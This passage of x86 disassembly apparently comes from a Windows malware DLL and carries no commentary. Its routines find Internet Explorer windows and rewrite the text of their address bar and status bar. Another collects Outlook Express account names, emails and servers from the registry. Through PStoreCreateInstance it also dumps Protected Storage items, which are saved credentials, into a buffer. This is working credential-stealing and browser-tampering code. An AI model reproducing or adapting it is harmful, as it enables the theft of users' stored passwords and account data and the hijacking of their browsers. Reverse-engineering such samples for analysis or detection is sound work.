		mov	edx, dword_10035724[ecx*4]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		push	20h		; Val
		mov	eax, [ebp+var_654]
		mov	ecx, lpString1[eax*4]
		push	ecx		; Str
		call	ds:strchr	; strchr
		add	esp, 8
		mov	byte ptr [eax],	0


loc_10001A27:				; CODE XREF: sub_100015CE+392j
					; sub_100015CE+3EFj
		mov	[ebp+var_674], 0FFFFFFFFh
		mov	edx, [ebp+var_778]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Str]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_650], 1
		jmp	loc_10001CAD
; ---------------------------------------------------------------------------


loc_10001A58:				; CODE XREF: sub_100015CE+366j
					; DATA XREF: .text:10001D24o
		mov	[ebp+var_674], 0FFFFFFFFh
		mov	ecx, [ebp+var_778]
		add	ecx, 1
		push	ecx		; Size
		push	0		; Val
		mov	edx, [ebp+Str]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_650], 2
		jmp	loc_10001CAD
; ---------------------------------------------------------------------------


loc_10001A89:				; CODE XREF: sub_100015CE+366j
					; DATA XREF: .text:10001D28o
		mov	[ebp+var_674], 0FFFFFFFFh
		mov	eax, [ebp+var_778]
		add	eax, 1
		push	eax		; Size
		push	0		; Val
		mov	ecx, [ebp+Str]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_650], 3
		jmp	loc_10001CAD
; ---------------------------------------------------------------------------


loc_10001ABA:				; CODE XREF: sub_100015CE+366j
					; DATA XREF: .text:10001D2Co
		mov	edx, [ebp+var_788]
		mov	eax, SubStr[edx*4]
		push	eax		; SubStr
		mov	ecx, [ebp+Str]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		mov	byte ptr [eax],	0
		cmp	[ebp+var_650], 1
		jnz	loc_10001BF7
		cmp	[ebp+var_664], 0
		jz	loc_10001BB1
		mov	edx, [ebp+var_654]
		add	edx, 1
		mov	[ebp+var_654], edx
		mov	eax, [ebp+var_654]
		mov	ecx, lpString[eax*4]
		push	ecx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	edx, [ebp+var_654]
		mov	lpString1[edx*4], eax
		mov	eax, [ebp+var_654]
		mov	ecx, lpString[eax*4]
		push	ecx		; lpString2
		mov	edx, [ebp+var_654]
		mov	eax, lpString1[edx*4]
		push	eax		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		mov	ecx, [ebp+var_654]
		cmp	dword_10035720[ecx*4], 0
		jz	short loc_10001BB1
		mov	edx, [ebp+var_654]
		mov	eax, dword_10035720[edx*4]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_654]
		mov	dword_10035724[ecx*4], eax
		mov	edx, [ebp+var_654]
		mov	eax, dword_10035720[edx*4]
		push	eax		; lpString2
		mov	ecx, [ebp+var_654]
		mov	edx, dword_10035724[ecx*4]
		push	edx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10001BB1:				; CODE XREF: sub_100015CE+51Ej
					; sub_100015CE+591j
		mov	[ebp+var_664], 1
		mov	eax, [ebp+Str]
		push	eax		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_654]
		mov	dword_10035D64[ecx*4], eax
		mov	edx, [ebp+Str]
		push	edx		; lpString2
		mov	eax, [ebp+var_654]
		mov	ecx, dword_10035D64[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10001BF7:				; CODE XREF: sub_100015CE+511j
		cmp	[ebp+var_650], 2
		jnz	short loc_10001C3C
		mov	edx, [ebp+Str]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_654]
		mov	dword_100363A4[ecx*4], eax
		mov	edx, [ebp+Str]
		push	edx		; lpString2
		mov	eax, [ebp+var_654]
		mov	ecx, dword_100363A4[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10001C3C:				; CODE XREF: sub_100015CE+630j
		cmp	[ebp+var_650], 3
		jnz	short loc_10001C81
		mov	edx, [ebp+Str]
		push	edx		; lpString
		call	ds:lstrlenA	; lstrlenA
		add	eax, 1
		push	eax		; Size
		call	ds:malloc	; malloc
		add	esp, 4
		mov	ecx, [ebp+var_654]
		mov	dword_100369E4[ecx*4], eax
		mov	edx, [ebp+Str]
		push	edx		; lpString2
		mov	eax, [ebp+var_654]
		mov	ecx, dword_100369E4[eax*4]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA


loc_10001C81:				; CODE XREF: sub_100015CE+675j
		mov	[ebp+var_674], 0FFFFFFFFh
		mov	edx, [ebp+var_778]
		add	edx, 1
		push	edx		; Size
		push	0		; Val
		mov	eax, [ebp+Str]
		push	eax		; Dst
		call	memset	; memset
		add	esp, 0Ch
		mov	[ebp+var_650], 4


loc_10001CAD:				; CODE XREF: sub_100015CE+35Aj
					; sub_100015CE+485j ...
		mov	[ebp+var_788], 4


loc_10001CB7:				; CODE XREF: sub_100015CE+341j
		jmp	loc_100018D6
; ---------------------------------------------------------------------------


loc_10001CBC:				; CODE XREF: sub_100015CE+31Ej
		mov	ecx, [ebp+var_674]
		add	ecx, 1
		mov	[ebp+var_674], ecx
		mov	edx, [ebp+var_77C]
		add	edx, 1
		mov	[ebp+var_77C], edx
		jmp	loc_10001888
; ---------------------------------------------------------------------------


loc_10001CDF:				; CODE XREF: sub_100015CE+2D6j
		mov	eax, [ebp+Str]
		push	eax		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	ecx, [ebp+var_66C]
		mov	edx, [ebp+ecx*4+Memory]
		push	edx		; Memory
		call	ds:free	; free
		add	esp, 4
		mov	eax, [ebp+var_654]
		add	eax, 1
		mov	[ebp+var_654], eax
		jmp	loc_10001801
; ---------------------------------------------------------------------------


loc_10001D17:				; CODE XREF: sub_100015CE+24Ej
		mov	eax, 1


loc_10001D1C:				; CODE XREF: sub_100015CE+1EDj
		mov	esp, ebp
		pop	ebp
		retn
sub_100015CE	endp

; ---------------------------------------------------------------------------
off_10001D20	dd offset loc_1000193B	; DATA XREF: sub_100015CE+366r
		dd offset loc_10001A58
		dd offset loc_10001A89
		dd offset loc_10001ABA

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10001D30(HWND hWnd,	int)

sub_10001D30	proc near		; DATA XREF: .text:10001DC6o

Str1		= byte ptr -100h
hWnd		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	0FFh		; nMaxCount
		lea	eax, [ebp+Str1]
		push	eax		; lpClassName
		mov	ecx, [ebp+hWnd]
		push	ecx		; hWnd
		call	ds:GetClassNameA	; GetClassNameA
		push	offset Str2	; "Internet Explorer_Server"
		lea	edx, [ebp+Str1]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10001D84
		mov	eax, dword_1002C210
		push	eax		; int
		mov	ecx, [ebp+hWnd]
		push	ecx		; hWnd
		call	sub_10003460
		call	sub_10003605
		mov	edx, [ebp+hWnd]
		push	edx
		call	sub_100034DC


loc_10001D84:				; CODE XREF: sub_10001D30+35j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10001D30	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	0FFh
		lea	eax, [ebp-100h]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	ds:GetClassNameA	; GetClassNameA
		push	offset aIeframe	; "IEFrame"
		lea	edx, [ebp-100h]
		push	edx
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_10001DD5
		push	0
		push	offset sub_10001D30
		mov	eax, [ebp+8]
		push	eax
		call	ds:EnumChildWindows	; EnumChildWindows


loc_10001DD5:				; CODE XREF: .text:10001DC2j
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10001DE0	proc near		; CODE XREF: .text:1000AFC5p

hWnd		= dword	ptr -114h
String1		= byte ptr -110h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
Point		= POINT	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 114h
		push	0		; nIndex
		call	ds:GetSystemMetrics	; GetSystemMetrics
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+Point.x], eax
		push	1		; nIndex
		call	ds:GetSystemMetrics	; GetSystemMetrics
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], 0
		jmp	short loc_10001E16
; ---------------------------------------------------------------------------


loc_10001E0D:				; CODE XREF: sub_10001DE0:loc_10001F4Dj
		mov	eax, [ebp+var_10]
		add	eax, 2
		mov	[ebp+var_10], eax


loc_10001E16:				; CODE XREF: sub_10001DE0+2Bj
		mov	ecx, [ebp+var_10]
		cmp	ecx, [ebp+var_C]
		jge	loc_10001F52
		mov	edx, [ebp+var_10]
		mov	[ebp+Point.y], edx
		mov	eax, [ebp+Point.y]
		push	eax
		mov	ecx, [ebp+Point.x]
		push	ecx		; Point
		call	ds:WindowFromPoint	; WindowFromPoint
		mov	[ebp+hWnd], eax
		push	0FFh		; nMaxCount
		lea	edx, [ebp+String1]
		push	edx		; lpClassName
		mov	eax, [ebp+hWnd]
		push	eax		; hWnd
		call	ds:GetClassNameA	; GetClassNameA
		push	offset aIeframe_0 ; "IEFrame"
		lea	ecx, [ebp+String1]
		push	ecx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10001E79
		mov	edx, [ebp+hWnd]
		mov	dword_1006A96C,	edx


loc_10001E79:				; CODE XREF: sub_10001DE0+8Bj
		push	offset String2	; "msctls_statusbar32"
		lea	eax, [ebp+String1]
		push	eax		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_10001EC8
		push	offset String	; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jz	short loc_10001EC8
		push	offset byte_10073988 ; lpString2
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcpyA	; lstrcpyA
		lea	edx, [ebp+String1]
		push	edx		; lParam
		push	0		; wParam
		push	0Ch		; Msg
		mov	eax, [ebp+hWnd]
		push	eax		; hWnd
		call	ds:SendMessageA	; SendMessageA


loc_10001EC8:				; CODE XREF: sub_10001DE0+ADj
					; sub_10001DE0+BCj
		push	offset aEdit	; "Edit"
		lea	ecx, [ebp+String1]
		push	ecx		; lpString1
		call	ds:lstrcmpA	; lstrcmpA
		test	eax, eax
		jnz	short loc_10001F4D
		push	0FFh		; Size
		push	0		; Val
		lea	edx, [ebp+String1]
		push	edx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		lea	eax, [ebp+String1]
		push	eax		; lParam
		push	0FFh		; wParam
		push	0Dh		; Msg
		mov	ecx, [ebp+hWnd]
		push	ecx		; hWnd
		call	ds:SendMessageA	; SendMessageA
		push	offset String	; SubStr
		lea	edx, [ebp+String1]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_10001F4D
		push	offset String	; lpString
		call	ds:lstrlenA	; lstrlenA
		test	eax, eax
		jz	short loc_10001F4D
		push	offset dword_100663D8 ;	lParam
		push	0		; wParam
		push	0Ch		; Msg
		mov	eax, [ebp+hWnd]
		push	eax		; hWnd
		call	ds:SendMessageA	; SendMessageA


loc_10001F4D:				; CODE XREF: sub_10001DE0+FCj
					; sub_10001DE0+146j ...
		jmp	loc_10001E0D
; ---------------------------------------------------------------------------


loc_10001F52:				; CODE XREF: sub_10001DE0+3Cj
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn
sub_10001DE0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10001F5B(HWND hWnd,	int)

sub_10001F5B	proc near		; DATA XREF: .text:1000209Bo

lParam		= byte ptr -100h
hWnd		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	0FFh		; nMaxCount
		lea	eax, [ebp+lParam]
		push	eax		; lpClassName
		mov	ecx, [ebp+hWnd]
		push	ecx		; hWnd
		call	ds:GetClassNameA	; GetClassNameA
		push	offset aMsctls_statu_0 ; "msctls_statusbar32"
		lea	edx, [ebp+lParam]
		push	edx		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_10001FCC
		push	offset String	; Str
		call	strlen	; strlen
		add	esp, 4
		test	eax, eax
		jz	short loc_10001FCC
		push	offset Source	; Source
		lea	eax, [ebp+lParam]
		push	eax		; Dest
		call	strcpy	; strcpy
		add	esp, 8
		lea	ecx, [ebp+lParam]
		push	ecx		; lParam
		push	0		; wParam
		push	0Ch		; Msg
		mov	edx, [ebp+hWnd]
		push	edx		; hWnd
		call	ds:SendMessageA	; SendMessageA


loc_10001FCC:				; CODE XREF: sub_10001F5B+35j
					; sub_10001F5B+46j
		push	offset aEdit_0	; "Edit"
		lea	eax, [ebp+lParam]
		push	eax		; Str1
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_1000204F
		push	0FFh		; Size
		push	0		; Val
		lea	ecx, [ebp+lParam]
		push	ecx		; Dst
		call	memset	; memset
		add	esp, 0Ch
		lea	edx, [ebp+lParam]
		push	edx		; lParam
		push	0FFh		; wParam
		push	0Dh		; Msg
		mov	eax, [ebp+hWnd]
		push	eax		; hWnd
		call	ds:SendMessageA	; SendMessageA
		lea	ecx, [ebp+lParam]
		push	ecx		; SubStr
		push	offset String	; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_1000204F
		push	offset String	; Str
		call	strlen	; strlen
		add	esp, 4
		test	eax, eax
		jz	short loc_1000204F
		push	offset dword_100663D8 ;	lParam
		push	0		; wParam
		push	0Ch		; Msg
		mov	edx, [ebp+hWnd]
		push	edx		; hWnd
		call	ds:SendMessageA	; SendMessageA


loc_1000204F:				; CODE XREF: sub_10001F5B+87j
					; sub_10001F5B+CEj ...
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	8
sub_10001F5B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	0FFh
		lea	eax, [ebp-100h]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	ds:GetClassNameA	; GetClassNameA
		push	offset aIeframe_1 ; "IEFrame"
		lea	edx, [ebp-100h]
		push	edx
		call	strcmp	; strcmp
		add	esp, 8
		test	eax, eax
		jnz	short loc_100020AA
		mov	eax, [ebp+8]
		mov	dword_1006A96C,	eax
		push	0
		push	offset sub_10001F5B
		mov	ecx, [ebp+8]
		push	ecx
		call	ds:EnumChildWindows	; EnumChildWindows


loc_100020AA:				; CODE XREF: .text:1000208Fj
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_100020B5(LPSTR Dest)

sub_100020B5	proc near		; CODE XREF: sub_1000B7EF+8F9p

var_5AC		= dword	ptr -5ACh
var_5A8		= dword	ptr -5A8h
var_5A4		= dword	ptr -5A4h
var_5A0		= dword	ptr -5A0h
var_59C		= dword	ptr -59Ch
var_598		= dword	ptr -598h
var_594		= dword	ptr -594h
var_590		= byte ptr -590h
var_58C		= dword	ptr -58Ch
var_588		= dword	ptr -588h
var_584		= byte ptr -584h
var_580		= byte ptr -580h
var_570		= dword	ptr -570h
dwIndex		= dword	ptr -56Ch
var_568		= dword	ptr -568h
var_564		= dword	ptr -564h
var_560		= dword	ptr -560h
cchName		= dword	ptr -55Ch
phkResult	= dword	ptr -558h
SubKey		= byte ptr -554h
cbData		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
hModule		= dword	ptr -448h
var_444		= dword	ptr -444h
Type		= dword	ptr -440h
ValueName	= byte ptr -43Ch
var_338		= dword	ptr -338h
var_334		= byte ptr -334h
var_330		= byte ptr -330h
hKey		= dword	ptr -32Ch
Source		= byte ptr -328h
Data		= byte ptr -128h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
cchValueName	= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
Dest		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_100020B5
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 5A0h
		lea	eax, [ebp+hKey]
		push	eax		; phkResult
		push	0F003Fh		; samDesired
		push	0		; ulOptions
		push	offset SubKey	; "SOFTWARE\\Microsoft\\Internet Account Man"...
		push	80000001h	; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jnz	loc_10002407
		mov	[ebp+var_564], 0
		mov	[ebp+var_568], 0
		mov	[ebp+var_560], 0
		mov	[ebp+dwIndex], 0
		mov	[ebp+var_570], 0


loc_10002130:				; CODE XREF: sub_100020B5+34Dj
		cmp	[ebp+var_564], 0
		jz	short loc_10002149
		cmp	[ebp+var_564], 0EAh
		jnz	loc_10002407


loc_10002149:				; CODE XREF: sub_100020B5+82j
		mov	[ebp+cchName], 104h
		push	0		; lpftLastWriteTime
		push	0		; lpcchClass
		push	0		; lpClass
		push	0		; lpReserved
		lea	ecx, [ebp+cchName]
		push	ecx		; lpcchName
		lea	edx, [ebp+SubKey]
		push	edx		; lpName
		mov	eax, [ebp+dwIndex]
		push	eax		; dwIndex
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegEnumKeyExA	; RegEnumKeyExA
		mov	[ebp+var_564], eax
		lea	edx, [ebp+phkResult]
		push	edx		; phkResult
		push	0F003Fh		; samDesired
		push	0		; ulOptions
		lea	eax, [ebp+SubKey]
		push	eax		; lpSubKey
		mov	ecx, [ebp+hKey]
		push	ecx		; hKey
		call	ds:RegOpenKeyExA	; RegOpenKeyExA
		mov	edx, [ebp+dwIndex]
		add	edx, 1
		mov	[ebp+dwIndex], edx
		mov	[ebp+var_570], 0
		mov	[ebp+var_568], 0


loc_100021C8:				; CODE XREF: sub_100020B5:loc_100023F0j
		cmp	[ebp+var_568], 103h
		jz	loc_100023F5
		cmp	[ebp+var_564], 0
		jz	short loc_100021F1
		cmp	[ebp+var_564], 0EAh
		jnz	loc_100023F5


loc_100021F1:				; CODE XREF: sub_100020B5+12Aj
		mov	[ebp+cbData], 104h
		mov	[ebp+cchValueName], 104h
		push	0		; lpcbData
		push	0		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		lea	ecx, [ebp+cchValueName]
		push	ecx		; lpcchValueName
		lea	edx, [ebp+ValueName]
		push	edx		; lpValueName
		mov	eax, [ebp+var_570]
		push	eax		; dwIndex
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegEnumValueA	; RegEnumValueA
		mov	[ebp+var_568], eax
		mov	edx, [ebp+var_570]
		add	edx, 1
		mov	[ebp+var_570], edx
		cmp	[ebp+var_568], 103h
		jz	loc_100023F0
		cmp	[ebp+var_570], 1
		jnz	short loc_1000226B
		push	offset aOutlookExpress ; "----------Outlook Express record-------"...
		mov	eax, [ebp+Dest]
		push	eax		; lpString1
		call	ds:lstrcatA	; lstrcatA


loc_1000226B:				; CODE XREF: sub_100020B5+1A5j
		cmp	[ebp+Type], 1
		jnz	loc_1000230F
		mov	[ebp+cbData], 104h
		lea	ecx, [ebp+cbData]
		push	ecx		; lpcbData
		lea	edx, [ebp+Data]
		push	edx		; lpData
		lea	eax, [ebp+Type]
		push	eax		; lpType
		push	0		; lpReserved
		lea	ecx, [ebp+ValueName]
		push	ecx		; lpValueName
		mov	edx, [ebp+phkResult]
		push	edx		; hKey
		call	ds:RegQueryValueExA	; RegQueryValueExA
		mov	eax, [ebp+cbData]
		push	eax
		lea	ecx, [ebp+Data]
		push	ecx
		call	sub_100013FE
		add	esp, 8
		test	eax, eax
		jz	short loc_100022EC
		lea	edx, [ebp+Data]
		push	edx
		lea	eax, [ebp+ValueName]
		push	eax
		push	offset Format	; "%s =	%ws\n"
		lea	ecx, [ebp+Source]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h
		jmp	short loc_1000230F
; ---------------------------------------------------------------------------


loc_100022EC:				; CODE XREF: sub_100020B5+210j
		lea	edx, [ebp+Data]
		push	edx
		lea	eax, [ebp+ValueName]
		push	eax
		push	offset aSS	; "%s =	%s\n"
		lea	ecx, [ebp+Source]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h


loc_1000230F:				; CODE XREF: sub_100020B5+1BDj
					; sub_100020B5+235j
		cmp	[ebp+Type], 4
		jz	short loc_10002321
		cmp	[ebp+Type], 3
		jnz	short loc_10002379


loc_10002321:				; CODE XREF: sub_100020B5+261j
		mov	[ebp+cbData], 4
		lea	edx, [ebp+cbData]
		push	edx		; lpcbData
		lea	eax, [ebp+var_444]
		push	eax		; lpData
		lea	ecx, [ebp+Type]
		push	ecx		; lpType
		push	0		; lpReserved
		lea	edx, [ebp+ValueName]
		push	edx		; lpValueName
		mov	eax, [ebp+phkResult]
		push	eax		; hKey
		call	ds:RegQueryValueExA	; RegQueryValueExA
		mov	ecx, [ebp+var_444]
		push	ecx
		lea	edx, [ebp+ValueName]
		push	edx
		push	offset aSD	; "%s =	%d\n"
		lea	eax, [ebp+Source]
		push	eax		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 10h


loc_10002379:				; CODE XREF: sub_100020B5+26Aj
		push	offset aName	; "Name"
		lea	ecx, [ebp+Source]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_100023DD
		push	offset aEmail	; "Email"
		lea	edx, [ebp+Source]
		push	edx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_100023DD
		push	offset aServer	; "Server"
		lea	eax, [ebp+Source]
		push	eax		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jnz	short loc_100023DD
		push	offset aPort	; "Port"
		lea	ecx, [ebp+Source]
		push	ecx		; Str
		call	ds:strstr	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_100023F0


loc_100023DD:				; CODE XREF: sub_100020B5+2DBj
					; sub_100020B5+2F4j ...
		lea	edx, [ebp+Source]
		push	edx		; Source
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 8


loc_100023F0:				; CODE XREF: sub_100020B5+198j
					; sub_100020B5+326j
		jmp	loc_100021C8
; ---------------------------------------------------------------------------


loc_100023F5:				; CODE XREF: sub_100020B5+11Dj
					; sub_100020B5+136j
		mov	ecx, [ebp+phkResult]
		push	ecx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		jmp	loc_10002130
; ---------------------------------------------------------------------------


loc_10002407:				; CODE XREF: sub_100020B5+43j
					; sub_100020B5+8Ej
		mov	edx, [ebp+hKey]
		push	edx		; hKey
		call	ds:RegCloseKey	; RegCloseKey
		push	offset aPsItem	; "---------------PS item------------\n"
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 8
		push	offset dword_10034264 ;	Dest
		mov	ecx, off_10022030
		push	ecx		; int
		mov	edx, off_10022084
		push	edx		; Str
		call	sub_100010BB
		add	esp, 0Ch
		push	eax		; lpLibFileName
		call	ds:LoadLibraryA	; LoadLibraryA
		mov	[ebp+hModule], eax
		push	offset ProcName	; "PStoreCreateInstance"
		mov	eax, [ebp+hModule]
		push	eax		; hModule
		call	ds:GetProcAddress	; GetProcAddress
		mov	[ebp+var_338], eax
		lea	ecx, [ebp+var_334]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	[ebp+var_4], 0
		push	0
		push	0
		push	0
		lea	ecx, [ebp+var_334]
		call	sub_1000E1F0
		push	eax
		call	[ebp+var_338]
		mov	[ebp+var_44C], eax
		lea	ecx, [ebp+var_330]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_330]
		call	sub_1000E1F0
		push	eax
		push	0
		push	0
		lea	ecx, [ebp+var_334]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000CF90
		mov	[ebp+var_44C], eax


loc_100024CC:				; CODE XREF: sub_100020B5+652j
		push	0
		lea	ecx, [ebp+var_20]
		push	ecx
		push	1
		lea	ecx, [ebp+var_330]
		call	sub_1000E130
		mov	[ebp+var_5A4], eax
		mov	edx, [ebp+var_5A4]
		mov	eax, [edx]
		mov	ecx, [ebp+var_5A4]
		push	ecx
		call	dword ptr [eax+0Ch]
		test	eax, eax
		jnz	loc_1000270C
		lea	ecx, [ebp+var_584]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_584]
		call	sub_1000E1F0
		push	eax
		push	0
		lea	edx, [ebp+var_20]
		push	edx
		push	0
		lea	ecx, [ebp+var_334]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000CFE0
		mov	[ebp+var_44C], eax


loc_1000253A:				; CODE XREF: sub_100020B5+63Ej
		push	0
		lea	eax, [ebp+var_580]
		push	eax
		push	1
		lea	ecx, [ebp+var_584]
		call	sub_1000E130
		mov	[ebp+var_5A8], eax
		mov	ecx, [ebp+var_5A8]
		mov	edx, [ecx]
		mov	eax, [ebp+var_5A8]
		push	eax
		call	dword ptr [edx+0Ch]
		test	eax, eax
		jnz	loc_100026F8
		lea	ecx, [ebp+var_590]
		call	??0_Container_base@std@@QAE@XZ_1 ; std::_Container_base::_Container_base(void)
		mov	byte ptr [ebp+var_4], 3
		lea	ecx, [ebp+var_590]
		call	sub_1000E1F0
		push	eax
		push	0
		lea	ecx, [ebp+var_580]
		push	ecx
		lea	edx, [ebp+var_20]
		push	edx
		push	0
		lea	ecx, [ebp+var_334]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000D090
		mov	[ebp+var_58C], eax


loc_100025B2:				; CODE XREF: sub_100020B5+62Aj
		push	0
		lea	eax, [ebp+var_588]
		push	eax
		push	1
		lea	ecx, [ebp+var_590]
		call	sub_1000E130
		mov	[ebp+var_5AC], eax
		mov	ecx, [ebp+var_5AC]
		mov	edx, [ecx]
		mov	eax, [ebp+var_5AC]
		push	eax
		call	dword ptr [edx+0Ch]
		test	eax, eax
		jnz	loc_100026E4
		mov	ecx, [ebp+var_588]
		push	ecx
		push	offset aItemnameWs ; "itemName = %ws\n"
		lea	edx, [ebp+Source]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Source]
		push	eax		; Source
		mov	ecx, [ebp+Dest]
		push	ecx		; Dest
		call	strcat	; strcat
		add	esp, 8
		mov	[ebp+var_598], 0
		mov	[ebp+var_59C], 0
		mov	[ebp+var_594], 0
		push	0
		mov	edx, [ebp+var_594]
		push	edx
		lea	eax, [ebp+var_59C]
		push	eax
		lea	ecx, [ebp+var_598]
		push	ecx
		mov	edx, [ebp+var_588]
		push	edx
		lea	eax, [ebp+var_580]
		push	eax
		lea	ecx, [ebp+var_20]
		push	ecx
		push	0
		lea	ecx, [ebp+var_334]
		call	sub_1000E130
		mov	ecx, eax
		call	sub_1000D030
		mov	[ebp+var_58C], eax
		mov	edx, [ebp+var_598]
		push	edx
		mov	eax, [ebp+var_59C]
		push	eax
		call	sub_100013FE
		add	esp, 8
		test	eax, eax
		jz	short loc_100026B0
		mov	ecx, [ebp+var_59C]
		push	ecx
		push	offset aItemdataWs ; "itemData = %ws\n"
		lea	edx, [ebp+Source]
		push	edx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch
		jmp	short loc_100026CC
; ---------------------------------------------------------------------------


loc_100026B0:				; CODE XREF: sub_100020B5+5DBj
		mov	eax, [ebp+var_59C]
		push	eax
		push	offset aItemdataS ; "itemData =	%s\n"
		lea	ecx, [ebp+Source]
		push	ecx		; Dest
		call	ds:sprintf	; sprintf
		add	esp, 0Ch


loc_100026CC:				; CODE XREF: sub_100020B5+5F9j
		lea	edx, [ebp+Source]
		push	edx		; Source
		mov	eax, [ebp+Dest]
		push	eax		; Dest
		call	strcat	; strcat
		add	esp, 8
		jmp	loc_100025B2
; ---------------------------------------------------------------------------


loc_100026E4:				; CODE XREF: sub_100020B5+52Dj
		mov	byte ptr [ebp+var_4], 2
		lea	ecx, [ebp+var_590]
		call	sub_1000E1D0
		jmp	loc_1000253A
; ---------------------------------------------------------------------------


loc_100026F8:				; CODE XREF: sub_100020B5+4B5j
		mov	byte ptr [ebp+var_4], 1
		lea	ecx, [ebp+var_584]
		call	sub_1000E1D0
		jmp	loc_100024CC
; ---------------------------------------------------------------------------


loc_1000270C:				; CODE XREF: sub_100020B5+444j
		mov	ecx, [ebp+Dest]
		mov	[ebp+var_5A0], ecx
		mov	byte ptr [ebp+var_4], 0
		lea	ecx, [ebp+var_330]
		call	sub_1000E1D0
		mov	[ebp+var_4], 0FFFFFFFFh
